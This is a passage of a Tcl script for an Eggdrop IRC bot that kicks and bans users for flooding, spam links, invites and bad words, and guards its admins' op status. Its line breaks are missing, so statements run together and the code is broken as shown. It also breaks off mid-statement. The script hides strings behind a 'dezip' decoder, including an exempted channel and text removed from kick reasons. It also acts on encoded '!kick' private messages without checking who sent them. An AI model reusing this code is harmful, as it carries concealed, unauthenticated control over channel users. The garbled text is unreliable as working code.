{[string match "*Password accepted for*" $text]} { auto_reop }if {[string match "*The nick $nick is not registered*" $text] && $nickpass != ""} {if {[getuser "config" XTRA "EMAIL"] != ""} {putsrv "NickServ register $nickpass [getuser "config" XTRA "EMAIL"]"}}if {[string match "*The nick $nick has been temporarily registered to you*" $text]} {putsrv "NickServ identify $nickpass"}return 0}if {$unick == "MemoServ"} {if {[string match "*New DALnet news is available*" $text]} {putsrv "PRIVMSG MemoServ@services.dal.net :NEWS"}return 0}if {[string match "!kick*" [string tolower $text]]} {set salls [dezip [lrange $text 1 end]]set schan [lindex $salls 0]set snick [lindex $salls 1]set sreas [lrange $salls 2 end]if {![isop $botnick $schan] || [matchattr $snick f] || ![onchan $snick $schan]} { return 0 }set banhost [getchanhost $snick $schan]set banhost "*!*@[lindex [split $banhost @] 1]"set bannick($snick) $banhostregsub -all -- [dezip "bF~uC0.JqaEc0"] $sreas "" sreasregsub -all -- [dezip "xdxs~F1hBM6q0"] $sreas "" sreasputsrv "KICK $schan $snick :$sreas"return 0}if {[string match "*auth*" $text] || [string match "*[string tolower $notb]*" [string tolower $text]]} { return 0 }if {[matchattr $hand f]} { return 0 }set mhost [string range $uhost [string first "@" $uhost] end]if {![isutimer "MSGCOUNTER"]} {utimer 20 { putlog "MSGCOUNTER" }set massmsg 1} {set massmsg [incr massmsg]if {[string length $text] > 100} {set massmsg [incr massmsg]}if {$massmsg >= 5} {set massmsg 0set mhost [string range $uhost [string first "@" $uhost] end]setignore "*!*@*" "*" 120if {[info exists ismaskhost]} {setignore [maskhost "*!*$mhost"] "MaZz MSg" 300} {setignore "*!*$mhost" "MaZz MSg" 300}foreach iamop [channels] {if {[isop $botnick $iamop]} {if {[string match "*c*" [getchanmode $iamop]]} {puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM [unsix "$unick!$uhost"]\001"} {puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM 1[unsix "$unick!$uhost"]\001"}foreach c [chanlist $iamop] {set nickhost [string range [getchanhost $c $iamop] [string first "@" [getchanhost $c $iamop]] end]if {$nickhost == $mhost && ![matchattr $c f]} {if {$c == $botnick} { return 0 }set bannick($c) "*!*$mhost"putsrv "KICK $iamop $c :$notc 1Heavy 4FLoOd1 MSg FRoM 4$mhost [banms]"break}}}}return 0}}if {[string match "*decode*" [string tolower $text]]} {foreach x [channels] {if {[onchan $unick $x]} {if {[isop $botnick $x]} {set bannick($unick) "*!*$mhost"putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4dEcOdE [banms]"return 0} {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 dEcOdE [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}}}set invme($mhost) "dEcOdE"}if {[string match "*#*" $text] || [string match "*/j*" $text]} {foreach x [channels] {set chksiton [string tolower $x]if {[string match "*$chksiton*" [string tolower $text]]} { return 0 }}foreach x [channels] {if {[onchan $unick $x]} {if {[isop $botnick $x]} {set banmask "*!*[string range $uhost [string first "@" $uhost] end]"set bannick($unick) $banmaskputsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"return 0} {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 InvITE [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}} {set banmask "[string range $uhost [string first "@" $uhost] end]"if {$banmask != "*!*@*" && $banmask != "*"} {foreach c [chanlist $x] {set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"if {$banmask == $nickhost} {if {[matchattr $c f]} {return 0}if {$c != $botnick} {if {[isop $botnick $x]} {set bannick($c) $banmaskset mhost [string range $uhost [string first "@" $uhost] end]putsrv "KICK $x $c :$notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"} {set members [chanlist $x f]foreach s $members {if {[isop $s $x]} {set mhost [string range $uhost [string first "@" $uhost] end]set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"putsrv "PRIVMSG $s :$sendspam"break}}}return 0}}}}}}set invme($mhost) "InvITE"return 0}if {[string match "*http:/*" [string tolower $text]] || [string match "*www.*" [string tolower $text]]} {foreach x [channels] {if {[onchan $unick $x]} {if {[isop $botnick $x]} {set banmask "*!*[string range $uhost [string first "@" $uhost] end]"set bannick($unick) $banmaskputsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4AdvERTIsE [banms]"return 0} else {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 AdvERTIsE [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}} {set banmask "[string range $uhost [string first "@" $uhost] end]"if {$banmask != "*!*@*" && $banmask != "*"} {foreach c [chanlist $x] {set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"if {$banmask == $nickhost} {if {[matchattr $c f]} {return 0}if {$c != $botnick} {if {[isop $botnick $x]} {set bannick($c) $banmaskset mhost [string range $uhost [string first "@" $uhost] end]putsrv "KICK $x $c :$notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"} {set members [chanlist $x f]foreach s $members {if {[isop $s $x]} {set mhost [string range $uhost [string first "@" $uhost] end]set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"putsrv "PRIVMSG $s :$sendspam"return 0}}}return 0}}}}}}set invme($mhost) "AdvERTIsE"return 0}set mhost [string range $uhost [string first "@" $uhost] end]if {[string length $text] > 100} {set chr 0set cnt 0while {$cnt < [string length $real]} {if [isflood [string index $real $cnt]] {incr chr}incr cnt}if {$chr > 30} {setignore "*!*@*" "*" 120if {[info exists ismaskhost]} {setignore [maskhost "*!*$mhost"] "TsunamI MSg" 300} {setignore "*!*$mhost" "TsunamI MSg" 300}foreach x [channels] {if {[isop $botnick $x]} {if {[string match "*c*" [getchanmode $x]]} {puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM [unsix "$unick!$uhost"]\001"} {puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM 1[unsix "$unick!$uhost"]\001"}foreach c [chanlist $x] {set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]if {$nickhost == $mhost} {if {[matchattr $c f] || $c == $botnick} {return 0}set bannick($c) "*!*$mhost"putsrv "KICK $x $c :$notc 4TsunamI1 MSg FRoM 4$mhost [banms]"break}}}}return 0}}foreach badword [string tolower $badwords] {if {[string match *$badword* [string tolower $text]]} {foreach x [channels] {if {[onchan $unick $x]} {if {[isop $unick $x] || [isvoice $unick $x]} { return 0 }if {[isop $botnick $x]} {set bannick($unick) "*!*$mhost"putsrv "KICK $x $unick :$notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"return 0} {foreach s [chanlist $x f] {if {[isop $s $x]} {set sendspam "!kick [zip "$x $unick $notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"]"putsrv "PRIVMSG $s :$sendspam"}}}}}}}if {[string length $text] > 200} {if {![isutimer "LONGTEXT"]} {utimer 30 { putlog "LONGTEXT" }setignore "*!*@*" "*" 120if {[info exists ismaskhost]} {setignore [maskhost "*!*$mhost"] "LoNg TexT MSg" 300} {setignore "*!*$mhost" "LoNg TexT MSg" 300}}foreach x [channels] {if {[isop $botnick $x]} {if {[string match "*c*" [getchanmode $x]]} {puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM [unsix "$unick!$uhost"]\001"} {puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM 1[unsix "$unick!$uhost"]\001"}foreach c [chanlist $x] {set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]if {$nickhost == $mhost} {if {[matchattr $c f] || $c == $botnick} { return 0 }set bannick($c) "*!*$mhost"putsrv "KICK $x $c :$notc 1LoNg TexT MSg FRoM 4$mhost [banms]"break}}} {foreach c [chanlist $x] {set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]if {$nickhost == $mhost} {if {[matchattr $c f] || $c == $botnick} {return 0}foreach s [chanlist $x f] {if {[isop $s $x]} {set sendspam "!kick [zip "$x $c $notc 1LoNg TexT MSg FRoM 4$mhost [banms]"]"putsrv "PRIVMSG $s :$sendspam"break}}}}}}return 1}if {$unick != $own} {if {[info exists twice_msg($unick)]} {set hostmask "${unick}!*@*"puthlp "PRIVMSG $unick :$querymsg"putlog "!Log! IgNORE <<$hostmask>> PV-msg"unset twice_msg($unick)newignore $hostmask $unick "*" 2} {if {[istimer "chkautomsg"]} {set invme($mhost) "AuToJoIN MSg"return 0}if {[isutimer "NO REPLY"]} {foreach x [utimers] {if {[string match "*NO REPLY*" $x]} {killutimer [lindex $x 2]}}utimer 10 { putlog "NO REPLY" }return 0}utimer 10 { putlog "NO REPLY" }if {[string match "*dal*et*" $uhost]} {puthlp "PRIVMSG $unick :$querymsg"} {if {[getuser "config" XTRA "AWAY"]!=""} {puthlp "PRIVMSG $unick :$querymsg"} {puthlp "PRIVMSG $unick :$querymsg"}set twice_msg($unick) 1}}}}proc auto_reop {} {global notc botnickforeach x [channels] {if {[onchan $botnick $x]} {if {![isop $botnick $x] && [string tolower $x] != [dezip "ER5sr09TRjx1"]} {if {![string match "*+protectfriends*" [channel info $x]]} {set cret 30foreach ct [utimers] {if {[string match "*chancnt*" $ct]} {if {[expr [lindex $ct 0] + 30] > $cret} {set cret [expr [lindex $ct 0] + 30]}}}utimer $cret [list chancnt $x]}}}}return 0}proc chancnt {chan} {if {[isutimer "chancnt $chan"]} { return 0 }putsrv "ChanServ count $chan"}proc msg_kick {nick uhost hand rest} {global notc botnick ownset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]set reason [lrange $rest 2 end]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: kick <#chan> <Nick> <Reason>"return 0}if {[isop $botnick $chantarget]!=1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."return 0}if {$nicktarget == $botnick} {puthlp "NOTICE $nick :$notc I cant self kick."return 0}if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {puthlp "NOTICE $nick :$notc I CaNT KIcK MY Admin."return 0}if {$reason == ""} {set reason "1ReQuesT..!"if {[matchattr $nick n]} {set reason "1Admin 4KIcK1 ReQuesT4..!"}if {[matchattr $nick m] && ![matchattr $nick n]} {set reason "1MasTeR 4KIcK1 ReQuesT4..!"}}foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {putsrv "KICK $x $nicktarget :$notc $reason"return 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}proc msg_kickban {nick uhost hand rest} {global notc botnick own bannickset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]set bmask [getchanhost $nicktarget $chantarget]set bmask "*!*@[lindex [split $bmask @] 1]"set reason [lrange $rest 2 end]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: kickban <#chan> <Nick> <Reason>"return 0}if {[isop $botnick $chantarget]!=1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."return 0}if {$nicktarget == $botnick} {puthlp "NOTICE $nick :$notc I cant self kick."return 0}if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {puthlp "NOTICE $nick :$notc I cant kickban my Admin."return 0}if {$reason == ""} {set reason "1KIcKBaN ReQuesT4..!"if {[matchattr $nick m]} {set reason "1MasTeR 4KIcKBaN1 ReQuesT [banmsg]"}if {[matchattr $nick n]} {set reason "1Admin 4KIcKBaN1 ReQuesT [banmsg]"}}foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {set bannick($nicktarget) $bmaskputsrv "KICK $x $nicktarget :$notc $reason"return 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}proc msg_op {nick uhost hand rest} {global notc botnickset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: op <#chan> <Nick>"return 0}if {[isop $botnick $chantarget]!=1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."return 0}if {[isop $nicktarget $chantarget]!=0} {puthlp "NOTICE $nick :$notc $nicktarget is already op on CHaNNEL $chantarget"return 0}foreach x [channels] {if {[string tolower $x] == [string tolower $chantarget]} {opq $x $nicktargetreturn 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}proc msg_voice {nick uhost hand rest} {global notc botnickset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: voice <#chan> <Nick>"return 0}if {[isop $botnick $chantarget]!=1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."return 0}if {[isvoice $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is already voice on channel $chantarget"}foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {putserv "mode $x +v $nicktarget"return 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}proc msg_deop {nick uhost hand rest} {global notc botnick ownset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: deop <#chan> <Nick>"return 0}if {[isop $botnick $chantarget] != 1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."return 0}if {![isop $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $chantarget is not op on CHaNNEL $chantarget"return 0}if {$nicktarget == $botnick} {puthlp "NOTICE $nick :$notc I CaNT SeLF DEoP!"return 0}if {[matchattr $nicktarget n]} {puthlp "NOTICE $nick :$notc I cant deop my Owner."return 0}if {[matchattr $nick m]} {set mreq "4MasTeR.ReQuesT"}if {[matchattr $nick n]} {set mreq "4Admin.ReQuesT"}foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {if {![string match "*k*" [getchanmode $x]]} {putserv "mode $x -ko $mreq $nicktarget"} {putserv "mode $x -o $nicktarget"}return 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}proc msg_devoice {nick uhost hand rest} {global notc botnick ownerset chantarget [lindex $rest 0]set nicktarget [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {($chantarget == "") || ($nicktarget == "")} {puthlp "NOTICE $nick :$notc Usage: devoice <#chan> <Nick>"return 0}if {[isop $botnick $chantarget]!=1} {puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"return 0}if {![onchan $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."}if {![isvoice $nicktarget $chantarget]} {puthlp "NOTICE $nick :$notc $nicktarget is not voice on CHaNNEL $chantarget"}if {$nicktarget == $owner} {puthlp "NOTICE $nick :$notc I cant devoice my owner."return 0}foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {putserv "mode $x -v $nicktarget"return 0}}puthlp "NOTICE $nick :$notc NoT IN $chantarget"}bind kick - * prot:kickproc prot:kick {nick uhost handle chan knick reason} {global notc notd botnick ps kickme notb notm bannick igflood botname quick is_m op_it is_ban iskickset cflag "c$chan"set cflag [string range $cflag 0 8]if {[string match "* *" $reason] || [string match "*$notm*" $reason]} {set igflood($nick) "1"}if {[info exists iskick($knick$chan)]} {unset iskick($knick$chan)}if {$nick == $botnick} {if {[info exists kickme($knick)]} {if {$kickme($knick) == 1} {set kickme($knick) 2}if {$kickme($knick) == 3} {catch { unset kickme($knick) }}}if {[string match "*$notm*" $reason]} {if {![info exists bannick($knick)]} { return 0 }if {[info exists is_ban($bannick($knick)$chan)]} { return 0 }set is_ban($bannick($knick)$chan) 1if {$bannick($knick) == "*!*@*"} { return 0 }set cmode [getchanmode $chan]set ok_m "1"if {[info exists is_m($chan)]} {set ok_m "0"}if {[isutimer "set_-m $chan"]} {set ok_m "0"}if {[string match "*m*" $cmode]} {set ok_m "0"}if {$ok_m == "1"} {set is_m($chan) 1if {$quick == "1"} {putquick "mode $chan +bm $bannick($knick)"} {putserv "mode $chan +bm $bannick($knick)"}} {if {$quick == "1"} {putquick "mode $chan +b $bannick($knick)"} {putserv "mode $chan +b $bannick($knick)"}}return 0} {if {![info exists bannick($knick)]} { return 0 }if {$bannick($knick) == "*!*@*"} { return 0 }putserv "mode $chan +b $bannick($knick)"if {[string match "*4BaNNEd1: 3 MINUTES*" $reason]} { utimer 180 [list unbanq $chan $bannick($knick)] }}return 0}if {$nick == $knick} { return 0 }if {$nick == "ChanServ"} { return 0 }if {[matchattr $nick f]} { return 0 }if {[string match "* *" $reason] || [string match "*$notm*" $reason]} { return 0 }if {$knick == $botnick} {if {[info exists kickme($nick)]} {set kickme($nick) 3if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {putsrv "ChanServ deop $chan $nick"}} {if {[matchattr $cflag D]} {set kickme($nick) 1}}puthlp "JOIN $chan"return 0}if {![isop $botnick $chan]} { return 0 }if {$knick == $notb} {putserv "KICK $chan $nick :$notc 1DonT KIcK 4$notb1..!"set op_it($knick) 1return 0}if {$knick == $ps} {putserv "KICK $chan $nick :$notc 1DonT KIcK 4$ps1..!"set op_it($knick) 1return 0}if {[matchattr $knick n]} {putsrv "KICK $chan $nick :$notc 1Admin 4KIcK1 PRoTecTIoN4..!"set op_it($knick) 1return 0}if {[matchattr $knick m]} {putsrv "KICK $chan $nick :$notc 1MasTeR 4KIcK1 PRoTecTIoN4..!"set op_it($knick) 1return 0}}proc unbanq {chan host} {global botnickif {[isop $botnick $chan]} {puthelp "mode $chan -b $host"}}set banidx 1proc banmsg {} {global banidx bancounterset banidx [incr banidx]if {$banidx >= [llength $bancounter]} {set banidx 1}set banmsg [lindex $bancounter $banidx]}proc banms {} {global banidx bancounteset banidx [incr banidx]if {$banidx >= [llength $bancounte]} {set banidx 1}set banms [lindex $bancounte $banidx]}proc ban_chk {nick uhost handle channel mchange bhost} {global botnick botname ps quick notb notc bannick ban-time igflood invme ex_floodset mhost [string range $bhost [string first "@" $bhost] end]set cflag "c$channel"set cflag [string range $cflag 0 8]if {[info exists invme($mhost)]} {catch { unset invme($mhost) }}if {[info exists ex_flood($mhost)]} {catch { unset ex_flood($mhost) }}if {![isop $botnick $channel]} { return 0 }set banmask "*!*[string range $uhost [string first "@" $uhost] end]"if {$banmask == "*!*@*"} {set banmask "$nick!*@*"}if {$bhost == "*!*@*"} {utimer [rand 4] [list unbanq $channel $bhost]return 1}set cmode [getchanmode $channel]if {[getuser "config" XTRA "IPG"] != ""} {foreach ipg [getuser "config" XTRA "IPG"] {if {[string match $ipg $bhost] || [string match $bhost $ipg]} {if {![isutimer "IPG $bhost"]} {if {![string match "*k*" $cmode]} {puthelp "mode $channel -kb 4IpgUaRd $bhost"} {puthelp "mode $channel -b $bhost"}utimer 60 [list putlog "IPG $bhost"]}return 1}}}if {[string match [string tolower $bhost] [string tolower $botname]]} {if {![matchattr $nick f] && $nick != $botnick && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![info exists igflood($nick)]} {if {[matchattr $cflag D]} {if {$quick == "1"} {putqck "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"} {putsrv "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"}}if {![string match "*k*" $cmode]} {if {$quick == "1"} {putquick "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"} {putserv "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"}} {if {$quick == "1"} {putquick "mode $channel -b+b $bhost $banmask"} {putserv "mode $channel -b+b $bhost $banmask"}}} {if {![string match "*k*" $cmode]} {if {$quick == "1"} {putquick "mode $channel -kb 4SeLF.UnBaN $bhost"} else {putserv "mode $channel -kb SeLF.UnBaN $bhost"}} {if {$quick == "1"} {putquick "mode $channel -b $bhost"} else {putserv "mode $channel -b $bhost"}}}return 1}foreach knick [chanlist $channel] {if {[string match [string tolower $bhost] [string tolower $knick![getchanhost $knick $channel]]]} {if {[matchattr $knick f]} {if {$knick != $ps && $knick != $notb} { utimer [rand 4] [list unbanq $channel $bhost] }if {[matchattr $nick f] || $nick == $botnick || $nick == "ChanServ" || [string match "*dal.net*" $nick] || [info exists igflood($nick)]} { return 1 }}if {$knick == $notb} {if {$nick != $botnick} {putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$notb1..!"if {![string match "*k*" $cmode]} {putserv "mode $channel -kb 4$notb.GuaRd $bhost"} {putserv "mode $channel -b $bhost"}} {putserv "mode $channel -b $bhost"}return 1}if {$knick == $ps} {if {$nick != $botnick} {putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$ps1..!"if {![string match "*k*" $cmode]} {putserv "mode $channel -kb 4$ps.GuaRd $bhost"} {putserv "mode $channel -b $bhost"}} {putserv "mode $channel -b $bhost"}return 1}if {[matchattr $knick n]} {if {$nick != $botnick} {set bannick($nick) $banmaskputsrv "KICK $channel $nick :$notc 1DonT BaNnEd Admin 4$knick1..!"}return 1}if {[matchattr $knick m]} {if {$nick != $botnick} {putsrv "KICK $channel $nick :$notc 1DonT BaNnEd MasTeR 4$knick1..!"}return 1}if {[matchattr $cflag E]} {if {$nick == $botnick} {set menforce [rand 4]if {$menforce == 1} {putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"} elseif {$menforce == 2} {putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"} elseif {$menforce == 3} {putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"} else {putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"}} else {if {[matchattr $nick n]} {putsrv "KICK $channel $knick :$notc 4Admin1 BaNnEd 4OuT1..!"} else {if {[matchattr $nick m]} {putsrv "KICK $channel $knick :$notc 4MasTeR1 BaNnEd 4OuT1..!"} else {if {[isop $knick $channel] && ![matchattr $nick f]} { return 1 }if {![matchattr $knick f]} {set menforce [rand 5]if {$menforce == 1} {putsrv "KICK $channel $knick :$notc 1BaNnEd BY 4@$nick [banms]"} elseif {$menforce == 2} {putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"} elseif {$menforce == 3} {putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"} elseif {$menforce == 4} {putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"} else {putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"}}}}}}}}return 0}bind mode - * prot:deopproc prot:deop {nick uhost handle channel mchange {opnick ""}} {global botnick deopme ps invme virus_nick quick notb notc bannick lastkey unop igflood is_m op_itset cflag "c$channel"set cflag [string range $cflag 0 8]set mode [lindex $mchange 0]if {$opnick == ""} {set opnick [lindex $mchange 1]}if {$mode == "-m"} {foreach x [utimers] {if {[string match "*set_-m $channel*" $x] || [string match "*TRAFFIC $channel*" $x]} {killutimer [lindex $x 2]}}catch {unset is_m($channel)}if {![botisop $channel]} { return 0 }if {[matchattr $cflag V]} {foreach x [chanlist $channel] {if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {set cret [getuser $cflag XTRA "VC"]foreach ct [utimers] {if {[string match "*voiceq*" $ct]} {if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]}}}utimer $cret [list voiceq $channel $x]}}}return 0}if {$mode == "+k"} {set lastkey $opnickif {[matchattr $cflag K] && [matchattr $nick Z]} {putlog "key change to $opnick"setuser $cflag XTRA "CI" [zip $opnick]saveuser}}if {$mode == "-k"} {catch { unset lastkey }if {$nick != $botnick} {set igflood($nick) "1"}return 0}if {$mode == "+m"} {foreach x [utimers] {if {[string match "*set_-m $channel*" $x] || [string match "*voiceq $channel*" $x] || [isutimer "advq $channel"]} {killutimer [lindex $x 2]}}if {$nick == $botnick} {if {![string match "*m*" [lindex [channel info $channel] 0]]} {if {[string match "*+shared*" [channel info $channel]]} {puthelp "NOTICE $channel :WaRnInG!! OnE MInUtE MoDeRaTe DuE tO FLoOd..!"}utimer 70 [list set_-m $channel]if {[isutimer "TRAFFIC $channel"]} {utimer 20 [list pub_nobot "*" "*" "*" $channel "*"]return 0}}} {if {[isutimer "goback"]} {catch { clearqueue all }foreach x [utimers] {if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] }if {[string match "*goback*" $x]} { killutimer [lindex $x 2] ; goback }}utimer 2 del_nobasereturn 0}utimer [expr 1800 + [rand 60]] [list set_-m $channel]}return 0}if {$mode == "+b"} {if {$opnick == "*!*@heavy.join.flood.channel.temporary.moderate"} {utimer 40 [list putlog "TRAFFIC $channel"]if {$nick == $botnick} {utimer 40 [list putserv "mode $channel -bm *!*@heavy.join.flood.channel.temporary.moderate"]if {[info exists is_m($channel)]} { return 0 }if {$quick == "1"} {putquick "mode $channel +m"} {putserv "mode $channel +m"}set is_m($channel) 1return 0}}ban_chk $nick $uhost $handle $channel $mchange $opnickreturn 0}if {$mode == "-b"} {if {[info exists is_ban($opnick$channel)]} {catch {unset is_ban($opnick$channel)}}if {[isutimer "unbanq $channel $opnick"]} {foreach x [utimers] {if {[string match "*unbanq $channel $opnick*" $x]} {killutimer [lindex $x 2]}}}foreach x [ignorelist] {if {[lindex $x 0] == $opnick} {unsetignore [lindex $x 0]return 0}}catch { killban $opnick }return 0}if {$nick == $opnick} { return 0 }if {$opnick == $botnick && $mode == "+o"} {chk_on_op $channelreturn 0}if {$mode == "+o" && [isop $botnick $channel]} {if {[info exists op_it($opnick)]} {catch {unset op_it($opnick)}}if {[matchattr $opnick O]} {set cmode [getchanmode $channel]if {![string match "*k*" $cmode]} {puthelp "mode $channel -ko 4No@p.LIsT $opnick"} {puthelp "mode $channel -o $opnick"}return 0}if {[info exists unop($opnick)]} {if {$nick == "ChanServ"} {catch { unset unop($opnick) }return 0}if {[matchattr $opnick f] || [matchattr $nick f] || $nick == $botnick} {return 0}utimer [expr 5 + [rand 10]] [list unallowed $channel $nick $opnick]return 0}}if {$mode == "-o"} {foreach x [utimers] {if {[string match "*unallowed $channel $opnick*" $x]} { killutimer [lindex $x 2] }}if {$opnick == $botnick} {if {[isutimer "DEOP $channel"]} { return 0 }foreach x [utimers] {if {[string match "*gop $channel*" $x]} { killutimer [lindex $x 2] }}utimer 2 [list putlog "DEOP $channel"]if {![matchattr $nick f] && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![string match "*Guest*" $botnick]} {if {![info exists igflood($nick)]} {if {[matchattr $cflag D]} {set deopme $nick}}}if {![matchattr $nick m]} {if {[string tolower $channel] != [dezip "ER5sr09TRjx1"]} {if {![string match "*+protectfriends*" [channel info $channel]]} {putlog "!Log! CHaNOP <<$channel>>"putsrv "ChanServ op $channel $botnick"}}}return 0}if {![isop $botnick $channel]} { return 0 }if {[isutimer "deopprc*$opnick"]} {foreach x [utimers] {if {[string match "*deopprc*$opnick*" $x]} {putlog "!UnDeOp OR UnKIcK!"catch { killutimer [lindex $x 2] }}}}if {$nick == "ChanServ" && [matchattr $opnick o]} {voiceq $channel $opnickreturn 0}if {$nick == "ChanServ"} {set unop($opnick) "1"return 0}if {[matchattr $nick f] || $nick == $botnick} { return 0 }if {$nick == "ChanServ"} { return 0 }if {$opnick == $ps} {if {![info exists igflood($nick)]} {putserv "KICK $channel $nick :$notc 1DonT De@p 4$ps1..!"}opq $channel $opnickreturn 0}if {[matchattr $opnick n]} {if {![info exists igflood($nick)]} {putsrv "KICK $channel $nick :$notc 1Admin 4De@p1 GuaRd4..!"opq $channel $opnick}return 0}if {[matchattr $opnick m]} {if {![info exists igflood($nick)]} {putsrv "KICK $channel $nick :$notc 1MasTeR 4De@p1 GuaRd1..!"opq $channel $opnick}return 0}if {[matchattr $opnick 